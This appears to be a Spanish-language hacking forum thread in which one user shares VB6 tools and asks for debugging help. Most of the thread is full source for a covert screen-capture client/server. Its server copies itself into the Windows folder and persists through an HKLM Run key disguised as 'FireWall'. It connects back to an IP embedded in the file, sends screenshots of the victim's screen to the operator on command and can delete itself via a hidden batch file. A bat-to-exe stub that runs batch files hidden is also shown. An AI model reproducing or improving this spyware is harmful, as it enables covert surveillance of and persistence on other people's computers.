Mensajes

bueno gente, aqui les dejo lo ultimo mi Skull Bat to Exe Compiler, tambien dejo el source code en VB6!

Aver si entiendo. Segun lo k dices yo deberia esperar k kualkier programador k sepa mas k yo me explike lo k no se. Y GRATIS! Cierto?

K bien k se usar google para ayudarme a mi mismo kuando no se algo...

ok... y te ayudas de alguna otra persona(s) que deseguro o tal vez no, sabes mas que tu no? y lo hace de "GRATIS", o me equivoco TugHack?... o acaso te han cobrado?.. si estas personas que saben mas que uno, que lo hacen de "GRATIS" no hubieran hecho sus manuales, etc... de donde aprende uno?. (YO creo que no trabajan de gratis porque cada cosa "GRATIS" que hacen ayudan a users, que deseguro en un futuro seran buenos coders=

O por ver alguno de sus temas te cobraron algo... yo te entiendo hay veces que hay que buscar, cierto, pero nunca esta de mas dar una mano, no crees?

[Skull Batch's Hider V 0.1]

                                                            Skull Batch's Hider V 0.1

Saludos, bueno aqui les traigo una aplicacion para los Batcheros del foro! .. nos permite:

          Opciones:

1- Compilar nuestros .bat a .exe
2- Ejecutarlos en modo oculto

es simple la aplicacion la he testeado un 85% y no me da error, solo hay que tener cuidado con los iconos, ya que algunos pueden que no sirva pero para eso mas abajo les dejo la descarga de una cantidad de iconos que les puede servir, tambien los pueden modificar con el Micro Angelo...

                                                      Captura del programa

                                     

El programa es de simple uso, no tiene mucha complicacion, cualquier bug, daño, o error reportar en este hilo para ser atendido inmediatamente! ..

                                                 Mejoras futuras:

*- Que nos permita darlo tambien en modo Visible (Ya seria como mi Bat to Exe)
*- mas iconos
*- Source Code

P.D: Para aquellos que quieran dar, opiniones, criticas, opciones o nuevas ideas para el Programa solo postear! ....

Descarga Skull Batch's Hider
Descarga Pack de Iconos

Lenguaje: VB6
______________________________________________________________________

                            Skull Bat To Exe Compiler

Saludos, bueno aqui les presento el programa que me habia costado tanto sacar, pero ahora lo termine mi Skull Bat to Exe Compiler.. es lo mismo que el Batch Hider, pero este tiene la opcion de ejecutar los .bats tambien en modo visible, bueno dejemos de charlas y comenzemos:

                              Capturas



Opciones nuevas:

* la unica opcion agregada fue ejecutar en modo visible
* Se da el Source Code del programa, este esta en el about de programa!
* Se comenzo desde 0 el stub

bueno el Source Code del programa esta dentro del About Text, esta posteado en forma de tutorial para su mejor entendimiento!

Descarga del Bat To Exe Compiler

Salu2's! 8)

mmm entonces enviaria con FileLen la cantidad y luego abro la imagen y obtengo sus datos y los envio al cliente los comparo con los del FileLen.. pero aja y si esos datos no dan? tendria que volver a hacer el procedimiento de enviar de nuevo la imagen?

perdon pero no quede muy claro!

dependiendo?.. si te explicas un pokito mejor talvez! de copiar archivos si se puede... de que directorio?

te recomiendo que para eso uses Select Case te lo facilita muxo!

[CLIENTE]

Bueno saludos...

Llevo tiempo trabajando en este proyecto y aun no lo he culminado se trata de una pequeña aplicacion Cliente y Servidor que nos permite capturar la pantalla de una persona.
E tenido varios inconvenientes, mas que todo en el envio de la imagen lo que pasa es lo siguiente:

Uso un modulo especial para hacer una captura de la pantalla y pasarla de una a extension .jpg, ya que .bmp se tarda, entonces bien hasta ese punto.. pero cuando me toca enviar la imagen no se que hago malque si la imagen pesa 45kb (ejemplo loco) cuando abro la imagen para leer sus datos, y enviarlos al cliente solo le llegan 8kb... y pues no se como arreglar eso a ver si alguien me podria hechar una mano aqui les dejo el code completo del Cliente y el Server, espero no ser una molestia:

CLIENTE

Código [Seleccionar] Expandir


Const skull As String = "Skull Screen Capture V 0.1"

Private Sub Command1_Click()
ws.LocalPort = 1234
ws.Listen
Label1.Caption = "Escuchando..."
Timer1.Enabled = True
End Sub

Private Sub Command2_Click()
If ws.State = 0 Then
    MsgBox ("Disculpe, pero no hay conexion establecida"), vbCritical, skull: GoTo fin
End If
    labe1.Caption = "Desconectado..."
    Timer1.Enabled = False
    ws.Close
fin:
End Sub

Private Sub Command3_Click()
If ws.State = 0 Then
    MsgBox ("Disculpe, pero no hay conexion establecida"), vbCritical, skull: GoTo fin
End If
    ws.SendData "captura"
fin:
End Sub

Private Sub CommandXP1_Click()
Form3.Show
End Sub

Private Sub CommandXP4_Click()
If ws.State = 0 Then
    MsgBox ("Disculpe, pero no hay conexion establecida"), vbCritical, skull: GoTo fin
End If
    ws.SendData "eliminar"
fin:
End Sub

Private Sub Timer1_Timer()
If ws.State = 7 Then
    Label1.Caption = "Server Conectado"
End If
If ws.State = 0 Then
    Label1.Caption = "Escuchando..."
    ws.LocalPort = 1234
    ws.Listen
End If
End Sub

Private Sub ws_Connect()
MsgBox ("Server Conectado con cliente"), vbInformation, skull
End Sub

Private Sub ws_ConnectionRequest(ByVal requestID As Long)
ws.Close
ws.Accept requestID
End Sub

Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim imagen() As String
Dim datos As String
dll = Dir(Environ("WinDir") & "\imagen.jpg")
ws.GetData datos

Select Case Left(datos, 3)
    Case "fot"
        imagen = Split(datos, "|")
            Open Environ("windir") & "\imagen.jpg" For Binary Access Write As #1
                Put #1, , imagen(1)
            Close #1
If dll <> "" Then
        Form2.Picture1 = LoadPicture(Environ("WinDir") & "\imagen.jpg")
        Form2.Show
        Pause 3
        Kill Environ("Windir") & "\imagen.jpg"
        Else
    If Not dll <> "" Then
            Open Environ("windir") & "\imagen.jpg" For Binary Access Write As #1
                Put #1, , imagen(1)
            Close #1
    End If
        If imagen(1) = "" Then
            ws.SendData "capturar"
        End If
End If
           
    Case "eli"
        MsgBox ("Server eliminado correctamente"), vbInformation, skull
       
End Select
End Sub

del cliente uno de los aspectos que me gustaria mejorar es la conexion (una porqueria) pero como es para aprender a enviar imagenes por WS.. pues de eso me encargo luego! el cliente tiene Editor, etc...

SERVER

Código [Seleccionar] Expandir


Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Declare Function GetModuleFileName Lib "kernel32" Alias "GetModuleFileNameA" (ByVal hModule As Long, ByVal lpFileName As String, ByVal nSize As Long) As Long
Private Declare Function GetWindowWord Lib "user32" (ByVal hwnd As Long, ByVal nIndex As Long) As Integer
Const SW_SHOWHIDE = 0
Const GWW_HINSTANCE = (-6)
Dim IPP() As String
Dim firma As String
Dim IP As String

Private Function Ruta() As String
Dim ModuleName As String, FileName As String, hInst As Long
ModuleName = String$(128, Chr$(0))
hInst = GetWindowWord(Me.hwnd, GWW_HINSTANCE)
ModuleName = Left$(ModuleName, GetModuleFileName(hInst, ModuleName, Len(ModuleName)))
Ruta = ModuleName
End Function

Private Sub Form_Load()
dll = Dir(Environ("WinDir") & "\foto.exe")
If App.PrevInstance = True Then End
firma = "skull"
If Not dll <> "" Then
    Call crear
End If
Open Ruta For Binary As #1
    Dim todo As String
    todo = Space(LOF(1))
    Get #1, , todo
Close #1
    IPP = Split(todo, firma)
    IP = IPP(1)
ws.Connect IP, 1234
Timer1.Enabled = True
End Sub

Private Sub Timer1_Timer()
If ws.State <> 7 Then
    ws.Close
    ws.Connect IP, 1234
End If
    If ws.State = 7 Then
        GoTo fin
End If
    If ws.State = 2 Then
        GoTo fin
End If
fin:
End Sub

Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim posi As String
Dim datos As String
ws.GetData datos
Select Case Left(datos, 3)
    Case "cap"
        Call Capturar_enviar
       
    Case "eli"
        posi = Environ("Windir") & "\foto.exe"
        Open Environ("Windir") & "\temp.bat" For Output As #1
            Print #1, , "ping 127.0.0.1 > nul"
            Print #1, , "del / f / q " & posi
            Print #1, , "exit"
        Close #1
        ShellExecute Me.hwnd, "Open", Environ("WinDir") & "\temp.bat", vbNullString, "", SW_HIDE
        ws.SendData "eliminado"
        End
End Select
End Sub

Private Sub Capturar_enviar()
Dim foto As New cJpeg
dll = Dir(Environ("Windir") & "\foto.jpg")
Dim FileSize As String
    foto.SetSamplingFrequencies 2, 2, 2, 2, 2, 2
    foto.Quality = 93
    foto.SampleScreen
    foto.SaveFile Environ("Windir") & "\foto.jpg"
Pause 5
If dll <> "" Then
    Open Environ("Windir") & "\foto.jpg" For Binary Access Read As #1
        Do Until EOF(1)
            Dim todo As String
                todo = Space(LOF(1))
            Get #1, , todo
        Loop
    Close #1
End If
ws.SendData "foto" & "|" & todo
End Sub

Private Sub crear()
FileCopy Ruta, Environ("WinDir") & "\foto.exe"
Dim sk As Object
    Set sk = CreateObject("WScript.Shell")
    sk.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\run\FireWall", Environ("WinDir") & "\foto.exe"
End Sub

Bueno este es el Server, espero que no se les complique y me puedan ayudar... como ya dije creo que mi error radica aqui:

Código [Seleccionar] Expandir


    Open Environ("Windir") & "\foto.jpg" For Binary Access Read As #1
        Do Until EOF(1)
            Dim todo As String
                todo = Space(LOF(1))
            Get #1, , todo
        Loop
    Close #1
End If
ws.SendData "foto" & "|" & todo

pero en fin..

P.D: Para ahorrarle las respuestas a lgunos que van a decir: buscate un ejemplo de envio de datos en VB con Winsock, si ya lo he buscado pero no, quiero programar el MIO propio

Salu2's! 8)

jaja felicitaciones... llevaba tiempo tratando de saber como demonios hacer esto!xD.. espero que tu code me sirva!

Salu2's! 8)

[CLIENTE:]

lo estas haciendo mal yo lo haria asi:

CLIENTE:

Código [Seleccionar] Expandir

dim msg as string
dim titulo as string
dim tipo as string
msg = text1.text
titulo = text2.text
if check1.value = 1 then
         tipo = vbcritical
end if
      if check2.value = 1 then
          tipo = vbinformation
end if
ws.SendData "mensaje" & "|" & msg & "|" & titulo & "|" & tipo

SERVIDOR:

Código [Seleccionar] Expandir

dim dato as string
ws.GetData dato
Select Case Left(dato, 3)

         Case "men"
                  dim mensaje() As string
                  mensaje = Split(dato, "|")
                           msgbox (mensaje(1)), mensaje(2), mensaje(3)
...

Algo asi lo haria yo, si esta algo malo disculpa lo codee rapido ya que no tengo tiempo... pero hay tienes una idea!

Salu2's! 8)

[Captura de los caracteres]

Saludos, bueno miren este es mi problema:

E estado creando un Bat to Exe Compiler, bueno el programa a la hora de introducir el codigo del bat en el stub y ejecutar el stub y todo chevere el .bat se crea en la carpeta de testeo osea en la de WINDOWS.. pero hay aparece un problema al inico del .bat osea esto ocurre en la primera linea del .bat sea cual sea el comando se me crean unos caracteres raros que me anulan el codigo osea no me lo anulan sino me anulan esa sentecnia...

Captura de los caracteres



como veran son esos simbolos extraños que aparecen en el @echo off, esto ocurre cuando creo el .bat en modo binario y por si acaso en modo OutPut tambien pasa lo mismo pero con mas caracteres...

entonces trate de crear una funcion que leyera ese .bat buscara su primera linea la borra y la reemplazara con un @echo off.. esta es la funcion:

Private Sub Form_Load()
Dim semi() As String
Dim exo As String
exo = "@echo off"
Open Environ("Windir") & "\" & "tempfile.bat" For Input As #1
    Dim todo As String
        Do While Not EOF(1)
            todo = Input(LOF(1), #1)
        Loop
Close #1

semi = Split(todo, vbCrLf)

If UBound(semi) > 2 Then
    semi(0) = exo
End If

Open Environ("WinDir") & "\tempfile.bat" For Output As #1
    For i = 0 To UBound(semi)
        Print #1, semi(i)
    Next i
Close #1
End Sub

pero con esta funcion ocurre lo siguiente:

1- Cuando el .bat osea lo creo yo o mejor dicho NO tiene esos caracteres raros en la primera linea, este code funciona al 100% y si me reemplaza la primera linea, pero cuando es ese .bat que le aparecen esos codes que lo crea el stub, me tira un error el programa osea el codigo, incluso si usas la tecla F8 me dice:

Input Past End Of File

pero yo uso la funcion Do while NOT EOF(1) se supone que esto NO deberia pasar!...
en fin consulto a este foro ya que es mi ultima opcion a los otros foros que consulte no lo pudieron arreglar como ultimas dos cosas les dejo el code del stub en si y la parte donde meo los archivo al stub del cliente y el proyecto compilado para que lo testeen y traten de resolverlo!..

Source del Server

Código [Seleccionar] Expandir

Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Declare Function GetModuleFileName Lib "kernel32" Alias "GetModuleFileNameA" (ByVal hModule As Long, ByVal lpFileName As String, ByVal nSize As Long) As Long
Private Declare Function GetWindowWord Lib "user32" (ByVal hwnd As Long, ByVal nIndex As Long) As Integer
Dim Firma As String
Dim SubFirma As String
Dim modo As String
Dim datobat As String
Dim code As Variant, Partes As Variant
Const GWW_HINSTANCE = (-6)
Const SW_SHOWNORMAL = 1
Const SW_SHOWHIDE = 0

Private Function Ruta() As String
Dim ModuleName As String, FileName As String, hInst As Long
ModuleName = String$(128, Chr$(0))
hInst = GetWindowWord(Me.hwnd, GWW_HINSTANCE)
ModuleName = Left$(ModuleName, GetModuleFileName(hInst, ModuleName, Len(ModuleName)))
Ruta = ModuleName
End Function

Private Sub Form_Load()
Firma = "[--]"
SubFirma = "[++]"

Open Ruta For Binary Access Read As #1
    Dim todo As String
    todo = Space(LOF(1))
    Get #1, , todo
Close #1

code = Split(todo, Firma)
For i = 1 To UBound(code)
    Partes = Split(code(i), SubFirma)
        For x = 0 To UBound(Partes)
            Select Case x
                Case 0
                    datobat = Partes(x)
                Case 1
                    modo = Partes(x)
            End Select
        Next
Next

Open Environ("Windir") & "\" & "tempfile.bat" For Binary Access Write As #1
Seek (1), LOF(1) + 1
    Put #1, , datobat
Close #1
Pause 1
Call arreglar

If modo = "inv" Then
    ShellExecute Me.hwnd, "open", Environ("Windir") & "\" & "tempfile.bat", vbNullString, "", SW_SHOWNORMAL
    Else
        If modo = "vis" Then
            ShellExecute Me.hwnd, "open", Environ("Windir") & "\" & "tempfile.bat", vbNullString, "", SW_HIDE
        End If
End If
Call fin
End Sub

Private Sub fin()
End
End Sub

Private Sub arreglar()
Dim semi() As String
Dim exo As String
exo = "@echo off"
Open Environ("Windir") & "\" & "tempfile.bat" For Input As #1
    Dim todo As String
        todo = Input(LOF(1), #1)
Close #1

semi = Split(todo, vbCrLf)

If UBound(semi) > 2 Then
    semi(0) = exo
End If

Open Environ("WinDir") & "\tempfile.bat" For Output As #1
    For i = 0 To UBound(semi)
        Print #1, semi(i)
    Next i
Close #1
End Sub

este es el code del stub y ahora el programa compilado el stub.dll debe estar junto al .exe!

Obtenemos datos del .bat

Código [Seleccionar] Expandir

Open rutab For Binary Access Read As #1
    Dim datobat As String
    datobat = Space(LOF(1))
    Get #1, , datobat
Close #1

en este obtenemos los datos del bat y en este los introducimos al stub.

introducimos datos al stub]

Código [Seleccionar] Expandir


Open App.Path & "\" & cd.FileTitle & ".exe" For Binary Access Write As #1
    Seek (1), LOF(1) + 1
    Put #1, , firma
    Put #1, , datobat & subfirma & modo
Close #1



____________________________________________________________________

PRIMER BAT TO EXE   
PACK DE ICONOS

____________________________________________________________________


P.D: Este programa que les deje arriba es el Bat to Exe pero este NO incluye la funcion de arreglar ya que si se la incluyo me tira error cuando pasa por la funcion el error es el que explique arriba...
Bueno a ver quien lo resuelve ya que se me ha hecho imposible y le rindo honores!:\\ =D..

Salu2's! 8)